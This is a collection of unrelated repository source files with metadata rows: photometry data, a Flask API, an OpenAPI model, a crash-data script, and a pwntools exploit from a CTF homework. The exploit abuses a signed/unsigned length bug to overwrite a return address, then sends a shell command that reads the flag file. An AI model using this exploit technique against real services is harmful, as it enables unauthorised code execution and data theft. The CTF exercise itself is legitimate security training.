PhotTop 533.617344 3.069e-21
PhotTop 544.227905 2.883e-21
PhotTopS 2 1 300 1 4.766335 50
PhotTop 4.766335 5.367e-18
PhotTop 11.269681 1.673e-18
PhotTop 17.773027 7.265e-19
PhotTop 24.276373 3.964e-19
PhotTop 30.779719 2.613e-19
PhotTop 37.283065 4.281e-19
PhotTop 43.786412 1.196e-19
PhotTop 50.289758 2.234e-18
PhotTop 56.793104 1.457e-18
PhotTop 63.296450 1.086e-18
PhotTop 69.799796 8.359e-19
PhotTop 76.303143 6.522e-19
PhotTop 82.806489 5.210e-19
PhotTop 89.309835 4.155e-19
PhotTop 95.813181 3.365e-19
PhotTop 102.316527 2.764e-19
PhotTop 108.819874 2.297e-19
PhotTop 115.323220 1.930e-19
PhotTop 121.826566 1.637e-19
PhotTop 128.329912 1.401e-19
PhotTop 134.833258 1.208e-19
PhotTop 141.336605 1.048e-19
PhotTop 147.839951 9.160e-20
PhotTop 154.343297 8.051e-20
PhotTop 160.846643 7.113e-20
PhotTop 167.349989 6.316e-20
PhotTop 173.853335 5.633e-20
PhotTop 180.356682 5.045e-20
PhotTop 186.860028 4.537e-20
PhotTop 193.363374 4.095e-20
PhotTop 199.866720 3.708e-20
PhotTop 206.370066 3.368e-20
PhotTop 212.873413 3.068e-20
PhotTop 219.376759 2.804e-20
PhotTop 225.880105 2.568e-20
PhotTop 232.383451 2.359e-20
PhotTop 238.886797 2.171e-20
PhotTop 245.390144 2.003e-20
PhotTop 251.893490 1.852e-20
PhotTop 258.396836 1.716e-20
PhotTop 264.900182 1.593e-20
PhotTop 271.403528 1.481e-20
PhotTop 277.906875 1.379e-20
PhotTop 284.410221 1.287e-20
PhotTop 290.913567 1.202e-20
PhotTop 297.416913 1.125e-20
PhotTop 303.920259 1.054e-20
PhotTop 310.423605 9.896e-21
PhotTop 316.926952 9.298e-21
PhotTop 323.430298 8.736e-21
PhotTopS 2 1 100 2 3.941516 50
PhotTop 3.941516 9.530e-18
PhotTop 10.397657 1.665e-18
PhotTop 16.853798 5.936e-19
PhotTop 23.309939 2.736e-19
PhotTop 29.766080 1.350e-19
PhotTop 36.222221 3.109e-20
PhotTop 42.678362 4.712e-19
PhotTop 49.134503 1.906e-18
PhotTop 55.590643 1.458e-18
PhotTop 62.046784 1.070e-18
PhotTop 68.502925 8.197e-19
PhotTop 74.959066 6.446e-19
PhotTop 81.415207 5.171e-19
PhotTop 87.871348 4.159e-19
PhotTop 94.327489 3.362e-19
PhotTop 100.783630 2.756e-19
PhotTop 107.239770 2.288e-19
PhotTop 113.695911 1.920e-19
PhotTop 120.152052 1.627e-19
PhotTop 126.608193 1.391e-19
PhotTop 133.064334 1.198e-19
PhotTop 139.520475 1.039e-19
PhotTop 145.976616 9.072e-20
PhotTop 152.432757 7.967e-20
PhotTop 158.888897 7.035e-20
PhotTop 165.345038 6.243e-20
PhotTop 171.801179 5.565e-20
PhotTop 178.257320 4.982e-20
PhotTop 184.713461 4.478e-20
PhotTop 191.169602 4.039e-20
PhotTop 197.625743 3.656e-20
PhotTop 204.081884 3.320e-20
PhotTop 210.538025 3.024e-20
PhotTop 216.994165 2.762e-20
PhotTop 223.450306 2.529e-20
PhotTop 229.906447 2.322e-20
PhotTop 236.362588 2.137e-20
PhotTop 242.818729 1.971e-20
PhotTop 249.274870 1.822e-20
PhotTop 255.731011 1.687e-20
PhotTop 262.187152 1.565e-20
PhotTop 268.643292 1.455e-20
PhotTop 275.099433 1.356e-20
PhotTop 281.555574 1.264e-20
PhotTop 288.011715 1.181e-20
PhotTop 294.467856 1.105e-20
PhotTop 300.923997 1.036e-20
PhotTop 307.380138 9.718e-21
PhotTop 313.836279 9.129e-21
PhotTop 320.292419 8.576e-21
PhotTopS 2 1 311 1 3.621279 50
PhotTop 3.621279 1.580e-17
PhotTop 10.325634 7.399e-19
PhotTop 17.029989 1.615e-19
PhotTop 23.734344 5.823e-20
PhotTop 30.438699 2.609e-20
PhotTop 37.143054 1.521e-20
PhotTop 43.847409 7.430e-19
PhotTop 50.551764 1.597e-18
PhotTop 57.256119 1.352e-18
PhotTop 63.960474 1.003e-18
PhotTop 70.664829 7.663e-19
PhotTop 77.369184 5.977e-19
PhotTop 84.073539 4.738e-19
PhotTop 90.777894 3.770e-19
PhotTop 97.482249 3.044e-19
PhotTop 104.186604 2.494e-19
PhotTop 110.890959 2.068e-19
PhotTop 117.595314 1.734e-19
PhotTop 124.299669 1.468e-19
PhotTop 131.004024 1.254e-19
PhotTop 137.708379 1.080e-19
PhotTop 144.412734 9.364e-20
PhotTop 151.117089 8.172e-20
PhotTop 157.821444 7.174e-20
PhotTop 164.525799 6.332e-20
PhotTop 171.230154 5.617e-20
PhotTop 177.934509 5.006e-20
PhotTop 184.638864 4.480e-20
PhotTop 191.343219 4.026e-20
PhotTop 198.047574 3.630e-20
PhotTop 204.751929 3.285e-20
PhotTop 211.456284 2.983e-20
PhotTop 218.160639 2.716e-20
PhotTop 224.864994 2.480e-20
PhotTop 231.569349 2.271e-20
PhotTop 238.273704 2.085e-20
PhotTop 244.978059 1.918e-20
PhotTop 251.682414 1.769e-20
PhotTop 258.386769 1.635e-20
PhotTop 265.091124 1.514e-20
PhotTop 271.795479 1.405e-20
PhotTop 278.499834 1.306e-20
PhotTop 285.204189 1.216e-20
PhotTop 291.908544 1.134e-20
PhotTop 298.612899 1.059e-20
PhotTop 305.317254 9.907e-21
PhotTop 312.021609 9.283e-21
PhotTop 318.725964 8.710e-21
PhotTop 325.430319 8.182e-21
PhotTop 332.134674 7.685e-21
PhotTopS 2 1 111 1 3.367152 50
PhotTop 3.367152 1.325e-17
PhotTop 10.056560 3.374e-19
PhotTop 16.745967 4.649e-20
PhotTop 23.435375 1.088e-20
PhotTop 30.124783 8.709e-21
PhotTop 36.814191 9.088e-19
PhotTop 43.503598 4.375e-19
PhotTop 50.193006 2.074e-18
PhotTop 56.882414 1.400e-18
PhotTop 63.571822 1.020e-18
PhotTop 70.261229 7.767e-19
PhotTop 76.950637 6.090e-19
PhotTop 83.640045 4.820e-19
PhotTop 90.329453 3.837e-19
PhotTop 97.018860 3.097e-19
PhotTop 103.708268 2.536e-19
PhotTop 110.397676 2.102e-19
PhotTop 117.087084 1.762e-19
PhotTop 123.776492 1.492e-19
PhotTop 130.465899 1.274e-19
PhotTop 137.155307 1.096e-19
PhotTop 143.844715 9.502e-20
PhotTop 150.534123 8.291e-20
PhotTop 157.223530 7.277e-20
PhotTop 163.912938 6.422e-20
PhotTop 170.602346 5.696e-20
PhotTop 177.291754 5.075e-20
PhotTop 183.981161 4.542e-20
PhotTop 190.670569 4.080e-20
PhotTop 197.359977 3.679e-20
PhotTop 204.049385 3.329e-20
PhotTop 210.738793 3.022e-20
PhotTop 217.428200 2.752e-20
PhotTop 224.117608 2.513e-20
PhotTop 230.807016 2.300e-20
PhotTop 237.496424 2.111e-20
PhotTop 244.185831 1.943e-20
PhotTop 250.875239 1.791e-20
PhotTop 257.564647 1.655e-20
PhotTop 264.254055 1.532e-20
PhotTop 270.943462 1.422e-20
PhotTop 277.632870 1.322e-20
PhotTop 284.322278 1.231e-20
PhotTop 291.011686 1.148e-20
PhotTop 297.701093 1.072e-20
PhotTop 304.390501 1.003e-20
PhotTop 311.079909 9.395e-21
PhotTop 317.769317 8.814e-21
PhotTop 324.458725 8.280e-21
PhotTop 331.148132 7.777e-21
PhotTopS 2 1 300 2 1.868892 50
PhotTop 1.868892 7.943e-18
PhotTop 8.604484 7.372e-19
PhotTop 15.340076 2.420e-19
PhotTop 22.075668 1.196e-19
PhotTop 28.811261 7.548e-20
PhotTop 35.546853 1.075e-19
PhotTop 42.282445 2.466e-19
PhotTop 49.018037 8.894e-19
PhotTop 55.753629 7.022e-19
PhotTop 62.489221 5.508e-19
PhotTop 69.224813 4.237e-19
PhotTop 75.960405 3.294e-19
PhotTop 82.695997 2.582e-19
PhotTop 89.431589 2.049e-19
PhotTop 96.167181 1.648e-19
PhotTop 102.902773 1.345e-19
PhotTop 109.638365 1.112e-19
PhotTop 116.373957 9.300e-20
PhotTop 123.109549 7.855e-20
PhotTop 129.845141 6.694e-20
PhotTop 136.580733 5.752e-20
PhotTop 143.316325 4.979e-20
PhotTop 150.051917 4.338e-20
PhotTop 156.787509 3.803e-20
PhotTop 163.523102 3.352e-20
PhotTop 170.258694 2.969e-20
PhotTop 176.994286 2.643e-20
PhotTop 183.729878 2.363e-20
PhotTop 190.465470 2.121e-20
PhotTop 197.201062 1.911e-20
PhotTop 203.936654 1.728e-20
PhotTop 210.672246 1.568e-20
PhotTop 217.407838 1.426e-20
PhotTop 224.143430 1.302e-20
PhotTop 230.879022 1.191e-20
PhotTop 237.614614 1.092e-20
PhotTop 244.350206 1.005e-20
PhotTop 251.085798 9.258e-21
PhotTop 257.821390 8.552e-21
PhotTop 264.556982 7.915e-21
PhotTop 271.292574 7.339e-21
PhotTop 278.028166 6.819e-21
PhotTop 284.763758 6.347e-21
PhotTop 291.499351 5.917e-21
PhotTop 298.234943 5.525e-21
PhotTop 304.970535 5.167e-21
PhotTop 311.706127 4.839e-21
PhotTop 318.441719 4.539e-21
PhotTop 325.177311 4.262e-21
PhotTop 331.912903 4.001e-21
PhotTopS 2 1 100 3 1.659052 50
PhotTop 1.659052 1.510e-17
PhotTop 8.518009 6.988e-19
PhotTop 15.376967 1.924e-19
PhotTop 22.235925 8.060e-20
PhotTop 29.094883 3.872e-20
PhotTop 35.953841 3.667e-21
PhotTop 42.812799 6.078e-19
PhotTop 49.671756 1.848e-18
PhotTop 56.530714 3.134e-19
PhotTop 63.389672 2.768e-19
PhotTop 70.248630 2.222e-19
PhotTop 77.107588 1.779e-19
PhotTop 83.966546 1.419e-19
PhotTop 90.825503 1.123e-19
PhotTop 97.684461 9.026e-20
PhotTop 104.543419 7.364e-20
PhotTop 111.402377 6.086e-20
PhotTop 118.261335 5.088e-20
PhotTop 125.120293 4.295e-20
PhotTop 131.979251 3.660e-20
PhotTop 138.838208 3.144e-20
PhotTop 145.697166 2.720e-20
PhotTop 152.556124 2.370e-20
PhotTop 159.415082 2.077e-20
PhotTop 166.274040 1.831e-20
PhotTop 173.132998 1.621e-20
PhotTop 179.991955 1.443e-20
PhotTop 186.850913 1.290e-20
PhotTop 193.709871 1.158e-20
PhotTop 200.568829 1.043e-20
PhotTop 207.427787 9.429e-21
PhotTop 214.286745 8.551e-21
PhotTop 221.145703 7.780e-21
PhotTop 228.004660 7.099e-21
PhotTop 234.863618 6.495e-21
PhotTop 241.722576 5.957e-21
PhotTop 248.581534 5.478e-21
PhotTop 255.440492 5.048e-21
PhotTop 262.299450 4.662e-21
PhotTop 269.158407 4.315e-21
PhotTop 276.017365 4.002e-21
PhotTop 282.876323 3.718e-21
PhotTop 289.735281 3.460e-21
PhotTop 296.594239 3.225e-21
PhotTop 303.453197 3.011e-21
PhotTop 310.312154 2.816e-21
PhotTop 317.171112 2.637e-21
PhotTop 324.030070 2.473e-21
PhotTop 330.889028 2.322e-21
PhotTop 337.747986 2.180e-21
PhotTopS 2 1 311 2 1.579771 50
PhotTop 1.579771 2.858e-17
PhotTop 8.032937 4.338e-19
PhotTop 14.486102 7.674e-20
PhotTop 20.939268 2.522e-20
PhotTop 27.392433 1.187e-20
PhotTop 33.845599 5.573e-21
PhotTop 40.298764 3.340e-20
PhotTop 46.751930 7.395e-19
PhotTop 53.205095 4.492e-19
PhotTop 59.658261 3.604e-19
PhotTop 66.111426 2.863e-19
PhotTop 72.564592 2.265e-19
PhotTop 79.017757 1.801e-19
PhotTop 85.470923 1.440e-19
PhotTop 91.924089 1.158e-19
PhotTop 98.377254 9.444e-20
PhotTop 104.830420 7.805e-20
PhotTop 111.283585 6.524e-20
PhotTop 117.736751 5.509e-20
PhotTop 124.189916 4.694e-20
PhotTop 130.643082 4.033e-20
PhotTop 137.096247 3.489e-20
PhotTop 143.549413 3.040e-20
PhotTop 150.002578 2.664e-20
PhotTop 156.455744 2.348e-20
PhotTop 162.908909 2.080e-20
PhotTop 169.362075 1.851e-20
PhotTop 175.815240 1.655e-20
PhotTop 182.268406 1.485e-20
PhotTop 188.721571 1.338e-20
PhotTop 195.174737 1.210e-20
PhotTop 201.627902 1.097e-20
PhotTop 208.081068 9.980e-21
PhotTop 214.534233 9.106e-21
PhotTop 220.987399 8.331e-21
PhotTop 227.440564 7.642e-21
PhotTop 233.893730 7.027e-21
PhotTop 240.346895 6.476e-21
PhotTop 246.800061 5.981e-21
PhotTop 253.253226 5.536e-21
PhotTop 259.706392 5.133e-21
PhotTop 266.159557 4.769e-21
PhotTop 272.612723 4.438e-21
PhotTop 279.065888 4.137e-21
PhotTop 285.519054 3.863e-21
PhotTop 291.972220 3.613e-21
PhotTop 298.425385 3.383e-21
PhotTop 304.878551 3.173e-21
PhotTop 311.331716 2.979e-21
PhotTop 317.784882 2.797e-21
PhotTopS 2 1 320 1 1.513933 50
PhotTop 1.513933 1.848e-17
PhotTop 7.963536 3.457e-20
PhotTop 14.413140 2.545e-21
PhotTop 20.862743 3.239e-22
PhotTop 27.312346 7.776e-23
PhotTop 33.761950 5.354e-24
PhotTop 40.211553 5.123e-19
PhotTop 46.661156 4.289e-19
PhotTop 53.110760 6.829e-19
PhotTop 59.560363 5.851e-19
PhotTop 66.009966 4.564e-19
PhotTop 72.459569 3.549e-19
PhotTop 78.909173 2.793e-19
PhotTop 85.358776 2.219e-19
PhotTop 91.808379 1.784e-19
PhotTop 98.257983 1.455e-19
PhotTop 104.707586 1.203e-19
PhotTop 111.157189 1.005e-19
PhotTop 117.606792 8.485e-20
PhotTop 124.056396 7.229e-20
PhotTop 130.505999 6.209e-20
PhotTop 136.955602 5.372e-20
PhotTop 143.405206 4.680e-20
PhotTop 149.854809 4.101e-20
PhotTop 156.304412 3.614e-20
PhotTop 162.754016 3.202e-20
PhotTop 169.203619 2.849e-20
PhotTop 175.653222 2.547e-20
PhotTop 182.102825 2.286e-20
PhotTop 188.552429 2.059e-20
PhotTop 195.002032 1.861e-20
PhotTop 201.451635 1.688e-20
PhotTop 207.901239 1.536e-20
PhotTop 214.350842 1.402e-20
PhotTop 220.800445 1.282e-20
PhotTop 227.250049 1.176e-20
PhotTop 233.699652 1.081e-20
PhotTop 240.149255 9.964e-21
PhotTop 246.598858 9.204e-21
PhotTop 253.048462 8.518e-21
PhotTop 259.498065 7.898e-21
PhotTop 265.947668 7.337e-21
PhotTop 272.397272 6.829e-21
PhotTop 278.846875 6.366e-21
PhotTop 285.296478 5.944e-21
PhotTop 291.746081 5.558e-21
PhotTop 298.195685 5.205e-21
PhotTop 304.645288 4.881e-21
PhotTop 311.094891 4.583e-21
PhotTop 317.544495 4.303e-21
PhotTopS 2 1 120 1 1.513498 50
PhotTop 1.513498 1.812e-17
PhotTop 8.227549 2.777e-20
PhotTop 14.941599 1.881e-21
PhotTop 21.655650 1.744e-22
PhotTop 28.369701 1.063e-23
PhotTop 35.083751 1.686e-22
PhotTop 41.797802 1.690e-19
PhotTop 48.511853 6.387e-19
PhotTop 55.225904 6.298e-19
PhotTop 61.939954 5.370e-19
PhotTop 68.654005 4.183e-19
PhotTop 75.368056 3.240e-19
PhotTop 82.082107 2.513e-19
PhotTop 88.796157 1.984e-19
PhotTop 95.510208 1.594e-19
PhotTop 102.224259 1.300e-19
PhotTop 108.938310 1.074e-19
PhotTop 115.652360 8.978e-20
PhotTop 122.366411 7.580e-20
PhotTop 129.080462 6.457e-20
PhotTop 135.794512 5.546e-20
PhotTop 142.508563 4.798e-20
PhotTop 149.222614 4.180e-20
PhotTop 155.936665 3.663e-20
PhotTop 162.650715 3.227e-20
PhotTop 169.364766 2.859e-20
PhotTop 176.078817 2.544e-20
PhotTop 182.792868 2.274e-20
PhotTop 189.506918 2.041e-20
PhotTop 196.220969 1.838e-20
PhotTop 202.935020 1.662e-20
PhotTop 209.649070 1.507e-20
PhotTop 216.363121 1.371e-20
PhotTop 223.077172 1.251e-20
PhotTop 229.791223 1.145e-20
PhotTop 236.505273 1.050e-20
PhotTop 243.219324 9.652e-21
PhotTop 249.933375 8.895e-21
PhotTop 256.647426 8.215e-21
PhotTop 263.361476 7.603e-21
PhotTop 270.075527 7.050e-21
PhotTop 276.789578 6.549e-21
PhotTop 283.503629 6.095e-21
PhotTop 290.217679 5.682e-21
PhotTop 296.931730 5.305e-21
PhotTop 303.645781 4.960e-21
PhotTop 310.359831 4.645e-21
PhotTop 317.073882 4.356e-21
PhotTop 323.787933 4.091e-21
PhotTop 330.501984 3.841e-21
| [
"long@stsci.edu"
] | long@stsci.edu |
ac64db1738c22f691938bc4cdd3fca3585a6424b | 7e0cb1e22cb55b32eaa4dda927923315c816ffd4 | /NTU-CTF-2017/hw[0]Bubblesort/exp.py | 53db093093b6bd6007ce393e178957239d1d55c9 | [] | no_license | shinmao/CTF-writeups | 4c9e967b98e748e9fca47a3d77788059af3bc149 | 5a7f43569f19e909853489c9f9e67948526893a1 | refs/heads/master | 2023-01-24T19:43:20.910483 | 2019-08-05T23:01:20 | 2019-08-05T23:01:20 | 108,756,925 | 5 | 0 | null | 2023-01-11T01:06:45 | 2017-10-29T17:48:37 | Python | UTF-8 | Python | false | false | 1,202 | py | #!/usr/bin/env python
from pwn import *
#m = process('./BubbleSort')
host, port = 'csie.ctf.tw', 10121
m = remote(host,port)
# . The bubblesort itself can work with no problem
# . The problem is at the argument of Bubblesort()
# . we can just give it a signed number and bypass the Array
# . Also pay attention to the type of length in Bubblesort()
# . It's unsigned!! Therefore, our signed num ----> Bubblesort(unsigned num)
# . After changing to the unsigned number, func() will help us bubble with the num out of array[]
# . Then we can successfully change the return address to darksoul >_<
darksoul = 134514048
m.recvuntil('length :')
m.send('127\n')
m.recvuntil('Array:')
m.sendline('134514048 '*127)
# . Here, it's embarassing that I forget conversion between signed and unsigned
# . So, I will take a review again
# . Showing num with binary base, the MSB not work as number when it's signed int
# . conversion : revert all the number and add 1 to the MSB
# . e.g. -125 ----> 130
# . -125 = 1 1111101 -> revert -> 0 0000010 -> add 1 -> 1 0000010 (unsigned so,2^8 + 2 = 130
m.recvuntil('sort ? :')
m.send('-125\n')
sleep(1)
m.sendline('cat /home/`whoami`/flag')
m.interactive()
| [
"shinmaox2016@gmail.com"
] | shinmaox2016@gmail.com |
f0d60b04f5d072d5e73a3f12a5e55d33c3c0d349 | e5564f79d15b7e26d3e5228d1339d2728accaa73 | /app.py | 1f3299c81752c15d1eafb347ad6eb4be348caa81 | [] | no_license | codekoma/barchartrace | e6de7e362490c3597139a7d35f11aa41d5faa1c0 | e79bb1223ce8a9ccfb5afb9bfdfcb1b351111663 | refs/heads/master | 2022-11-04T14:21:05.902432 | 2020-06-12T06:05:20 | 2020-06-12T06:05:20 | 271,721,685 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 952 | py | from flask import Flask, render_template, jsonify, request
from flask_restful import Api, Resource
from flask_cors import CORS
from pymongo import MongoClient
import datetime
import json
from bson import ObjectId
app = Flask(__name__)
api = Api(app)
CORS(app)
# date = datetime.date.today()
connection = MongoClient('localhost', 27017)
db = connection['MAX_OI']
collec = db['oi_collec']
class JSONEncoder(json.JSONEncoder):
def default(self, o):
if isinstance(o, ObjectId):
return str(o)
return json.JSONEncoder.default(self, o)
class getdata(Resource):
support_cors = True
cors_origin = '*'
cors_headers = 'origin,content-type,x-request-with'
def get(self):
data = []
raw = collec.find()
for d in raw:
d["_id"] = JSONEncoder().encode(d["_id"])
data.append(d)
return data
api.add_resource(getdata, "/getdata")
app.run(debug=True)
| [
"komalrawat963@gmail.com"
] | komalrawat963@gmail.com |
de73adfef01a5eb652a4762d51d7cfb9bf96153f | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/marvel.py | 41030e82a8664c8f7f95379d78cc3def72f97fea | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 1,746 | py | ii = [('BentJDO2.py', 1), ('LyelCPG2.py', 1), ('RogePAV2.py', 5), ('CoolWHM2.py', 2), ('KembFFF.py', 4), ('RogePAV.py', 3), ('SadlMLP.py', 2), ('FerrSDO3.py', 1), ('WilbRLW.py', 1), ('WilbRLW4.py', 3), ('RennJIT.py', 7), ('CookGHP.py', 25), ('MartHSI2.py', 1), ('LeakWTI2.py', 1), ('KembFJ1.py', 5), ('WilbRLW5.py', 1), ('LeakWTI3.py', 1), ('PettTHE.py', 1), ('TennAP.py', 2), ('PeckJNG.py', 2), ('BailJD2.py', 6), ('ChalTPW2.py', 6), ('AdamWEP.py', 3), ('ClarGE2.py', 2), ('LyttELD.py', 3), ('CoopJBT2.py', 5), ('GrimSLE.py', 5), ('RoscTTI3.py', 1), ('AinsWRR3.py', 3), ('CookGHP2.py', 3), ('BailJD1.py', 8), ('RoscTTI2.py', 4), ('CoolWHM.py', 9), ('CrokTPS.py', 2), ('ClarGE.py', 5), ('LandWPA.py', 1), ('BuckWGM.py', 4), ('IrviWVD.py', 10), ('LyelCPG.py', 5), ('DibdTRL2.py', 10), ('AinsWRR.py', 4), ('CrocDNL.py', 2), ('MedwTAI.py', 11), ('LandWPA2.py', 3), ('WadeJEB.py', 6), ('NewmJLP.py', 2), ('GodwWLN.py', 20), ('CoopJBT.py', 1), ('KirbWPW2.py', 1), ('SoutRD2.py', 1), ('BackGNE.py', 4), ('MedwTAI2.py', 1), ('SoutRD.py', 4), ('MereHHB3.py', 1), ('HowiWRL2.py', 3), ('BailJD3.py', 3), ('WilkJMC.py', 1), ('HogaGMM.py', 3), ('MartHRW.py', 2), ('MackCNH.py', 1), ('WestJIT.py', 3), ('FitzRNS4.py', 6), ('CoolWHM3.py', 3), ('DequTKM.py', 2), ('FitzRNS.py', 1), ('BowrJMM.py', 2), ('RoscTTI.py', 4), ('KembFJ2.py', 5), ('LewiMJW.py', 1), ('BellCHM.py', 6), ('HaliTBC.py', 1), ('WilbRLW3.py', 1), ('AinsWRR2.py', 3), ('ClarGE3.py', 2), ('RogeSIP.py', 4), ('MartHRW2.py', 1), ('DibdTRL.py', 15), ('MartHSI.py', 3), ('EvarJSP.py', 1), ('NortSTC.py', 1), ('SadlMLP2.py', 4), ('TaylIF.py', 2), ('WordWYR.py', 3), ('DibdTBR.py', 5), ('ChalTPW.py', 10), ('KeigTSS.py', 2), ('KirbWPW.py', 1), ('BentJDO.py', 2), ('ClarGE4.py', 1), ('HowiWRL.py', 5)] | [
"prabhjyotsingh95@gmail.com"
] | prabhjyotsingh95@gmail.com |
cb340642654d13fece4f10520b98cee58834e5c7 | 0e2620ba25f018996ba91035a5ffe00c0c15ccd8 | /pychronos/vendor/openapi_client/models/visibility.py | 05f2a3e28f9fadd4940d988d644caed471e776f4 | [] | no_license | chronosdb/pychronos | d145ea3b10c3e9582a77b0e2620226ff5ea5749b | e0f1170f7e57b3d5589127ef259c987287ca021c | refs/heads/master | 2022-11-15T18:36:15.531571 | 2020-07-09T17:34:03 | 2020-07-09T17:34:03 | 278,014,808 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,386 | py | # coding: utf-8
"""
ChronosDB swagger
ChronosDB time series database API # noqa: E501
The version of the OpenAPI document: 0.1
Contact: apiteam@chronosdb.io
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
class Visibility(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
allowed enum values
"""
PUBLIC = "public"
PRIVATE = "private"
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
}
attribute_map = {
}
def __init__(self): # noqa: E501
"""Visibility - a model defined in OpenAPI""" # noqa: E501
self.discriminator = None
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Visibility):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"mkuklik@gmail.com"
] | mkuklik@gmail.com |
695a1f7a021817d1f297fe3530b2b4448107230e | 1e7b0b4b23609ca0bdbc7ed2a032ff876505cd3e | /Crash_Data/02_21_21_Attempt/Code/Feature_Engineering_2.py | a0fb8cd0c3f77923dbfe3bbfdcf6e6c1c2da7bd5 | [] | no_license | bburkman/619_Summer_2021 | a1e7e02f1c498f29f9e80e0d4cd939838323dd34 | ef5e8d9378b56666282f37b2d8158d253ab2e4d6 | refs/heads/main | 2023-06-01T09:18:26.365983 | 2021-07-12T16:57:07 | 2021-07-12T16:57:07 | 373,907,527 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,522 | py | import csv
import math
import numpy as np
def Feature_Engineering():
with open('2019_Crash_1_Database.csv', 'r') as csvfile:
Crash = list(csv.reader(csvfile))
Header = Crash[0]
ind = Header.index("severity_cd")
# d = {"A":0.9, "B":0.7, "C":0.5, "D":0.3, "E":0.1}
# d = {"A":1.0, "B":0.0, "C":0.0, "D":0.0, "E":0.0}
d = {"A":1.0, "B":-1.0, "C":-1.0, "D":-1.0, "E":-1.0}
Severity = [d[Crash[i][ind]] for i in range (1,len(Crash))]
# Turn Severity into an NP vector.
Y = np.array(Severity)
# Condense different blank cells.
for i in range (len(Crash)):
for j in range (len(Crash[i])):
if Crash[i][j] == ' ':
Crash[i][j] = ''
if Crash[i][j] == ' ':
Crash[i][j] = ''
# Round ages to nearest 10.
for col in ['dr_age_1','dr_age_2']:
s = Header.index(col)
for i in range (1,len(Crash)):
if Crash[i][s].isnumeric():
Crash[i][s] = str(math.floor(int(Crash[i][s])/10)*10)
# Round times down to hour.
s = Header.index('crash_time')
for i in range (1, len(Crash)):
if Crash[i][s] != '':
a = Crash[i][s].find(':')
Crash[i][s] = Crash[i][s][:a]
# Take out the uncommented columns.
for head in [
'route',
'milepoint',
# 'num_tot_kil',
# 'num_tot_inj',
'crash_date',
# 'f_harm_ev_cd1',
'm_harm_ev_cd1',
'man_coll_cd',
'crash_type',
'surf_cond_cd',
'crash_num',
'parish_cd',
'crash_hour',
'intersection',
'invest_agency_cd',
'travel_dirs',
'prior_movements',
'crash_year',
'csect',
'logmile',
'lrs_id',
'lrs_logmile',
'adt',
'alcohol',
'veh_type_cd1',
'veh_type_cd2',
'quadrant',
'spotted_by',
'intersection_id',
'severity_cd',
'city_cd',
'roadway_departure',
'lane_departure',
'road_rel_cd',
'hwy_class',
'contributing_factor',
'location_type',
'veh_severity_cd',
'ORIG_LATITUDE',
'ORIG_LONGITUDE',
'DOTD_LATITUDE',
'DOTD_LONGITUDE',
'parish_cd',
'hwy_type_cd',
'pri_hwy_num',
'bypass',
'milepost',
'pri_road_name',
'pri_dist',
'pri_measure',
'pri_dir',
'inter_road',
'dr_age_1',
'dr_age_2',
'dr_sex_1',
'dr_sex_2',
'pri_contrib_fac_cd',
'sec_contrib_fac_cd',
'vision_obscure_1',
'vision_obscure_2',
'movement_reason_1',
'movement_reason_2',
'ped_actions_1',
'ped_actions_2',
'veh_lighting_1',
'veh_lighting_2',
'traff_cntl_cond_1',
'traff_cntl_cond_2',
'pri_road_dir',
'lighting_cd',
'num_veh',
'crash_time',
'dr_cond_cd1',
'dr_cond_cd2',
'veh_cond_cd1',
'veh_cond_cd2',
]:
ind = Header.index(head)
for row in Crash:
del(row[ind])
Header = Crash[0]
# For each column, if it's 'A','B',..., determine how many, and turn each into a one-hot column, in a new numpy matrix. Keep track of which column is which, in a labels list.
Header = Crash[0]
Column_Contents = [[x,[]] for x in Header]
for j in range (len(Crash[0])):
A = [x[j] for i, x in enumerate(Crash) if i != 0]
A = sorted(list(set(A)))
Column_Contents[j][1] = A
nrows = len(Crash) - 1
ncols = sum([len(x[1]) for x in Column_Contents])
X = np.zeros((nrows, ncols))
ncol = -1
for j in range (len(Column_Contents)):
for k in range (len(Column_Contents[j][1])):
ncol += 1
code = Column_Contents[j][1][k]
for i in range (1, len(Crash)):
if Crash[i][j] == code:
X[i-1][ncol] = 1
return X, Y, Crash, Column_Contents
if __name__ == "__main__":
X, Y, Crash, Column_Contents = Feature_Engineering()
print (np.shape(X))
print (np.shape(Y))
print ()
for row in Column_Contents:
print (len(row[1]), row)
print ()
for i in range (10):
print (Crash[i][:2])
print ()
for i in range (10):
print (X[i][:10])
| [
"bburkman@lsmsa.edu"
] | bburkman@lsmsa.edu |
